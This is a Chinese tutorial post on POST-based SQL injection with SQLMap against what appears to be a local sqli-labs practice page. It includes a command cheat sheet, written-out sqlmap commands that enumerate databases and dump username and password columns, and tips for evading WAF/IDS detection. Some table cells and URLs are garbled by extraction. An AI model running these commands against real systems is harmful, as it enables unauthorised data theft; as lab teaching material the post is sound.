【SQLMap】POST请求注入
SQL注入是Web安全领域最常见的高危漏洞之一,而POST型注入因其数据不可见性,在测试中需要特殊处理。SQLMap作为自动化SQL注入工具,能高效地帮助我们发现和利用这类漏洞。
POST注入与GET注入的关键区别
POST注入与GET注入的核心区别在于数据传递方式不同
特性 | GET请求 | POST请求 |
---|---|---|
数据传输方式 | 通过URL传递(参数在地址栏可见) | 通过请求体传递(数据不可见) |
数据量限制 | 较小,受URL长度限制 | 较大,无URL长度限制 |
安全性 | 较低,参数易被缓存和记录 | 相对较高 |
测试可见性 | 直接可见,易于测试 | 不可见,需抓包或工具辅助 |
SQLMap 常用命令速查表
命令参数 | 功能说明 | 使用示例 |
---|---|---|
| 指定目标URL(最常用) |
|
| 指定POST请求的数据 |
|
| 从文件加载HTTP请求(常用于POST注入) |
|
| 指定测试的参数 |
|
| 自动检测并测试页面中的表单 |
|
| 获取当前数据库名 |
|
| 枚举所有数据库 |
|
| 枚举指定数据库中的所有表 |
|
| 枚举指定表中的所有列 |
|
| 导出(提取)指定表中的数据 |
|
| 使用非交互模式(自动选择默认选项) | 通常加在其他命令后,避免SQLMap中途询问 |
| 设置测试等级(1-5,默认1)等级越高,测试越全面 。 |
|
| 设置风险等级(1-3,默认1)等级越高,测试越具侵入性 |
|
SQLMap进行POST注入的实战方法
一:BurpSuite抓包+文件读取
此方法利用BurpSuite等抓包工具捕获完整的POST请求,保存为文件后供SQLMap直接读取,准确性高。
-
抓包并保存:使用BurpSuite拦截POST请求,将完整请求(包括Headers和Body)复制保存为文本文件(如
1.txt
) -
使用SQLMap读取文件进行测试
sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -dbs # 基本命令
sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --current-db #展示网站库名
sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security --tables # 获取指定数据库(security)的所有表
sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security -T users --columns # 获取指定表(users)的所有列
指定参数。在1.txt文件中指定要扫描的参数,其他就参数不会扫描
sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --dbs
sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p username -D security -T users -C username,password --dump
二:自动表单检测(--forms)
让SQLMap自动分析目标页面,发现并测试所有表单。
让SQLMap自动发现并测试表单
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --forms --dbs
-
优点:无需抓包,快速便捷。
-
缺点:可能无法检测到所有参数(如Headers或Cookie中的参数)
三:直接指定POST数据(--data)
手动指定POST请求的参数进行测试。
# 直接通过--data指定POST参数
http://localhost/sql/Less-12/index.php
sqlmap.py -u "" --data="username=admin&password=123456"[1,4](@ref)
# 指定请求方法为POST(某些场景需要)
http://localhost/sql/Less-12/index.php
sqlmap.py -u "" --data="username=admin&password=123456" --method=POST[4](@ref)
# 结合其他参数指定测试字段
http://localhost/sql/Less-12/index.php
sqlmap.py -u "" --data="username=admin&password=123456" -p username --dbs
高级技巧:
--batch # 使用默认选项,无需交互确认(适合自动化)
--delay 2 # 设置请求延迟,避免触发防护
--proxy="http://127.0.0.1:8080" # 设置代理,便于调试
--tamper # 使用混淆脚本绕过WAF/IDS
重要注意事项
所有测试必须在获得明确授权的目标上进行,未经授权的测试属于违法行为
WAF/IPS绕过:实战中目标准系统可能部署有WAF或IPS。可尝试以下方法绕过:
使用 --tamper
参数(如 space2comment
)对Payload进行混淆
增加 --level
和 --risk
参数值,提高测试的深度和广度
使用 --random-agent
随机化User-Agent,避免被识别
感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。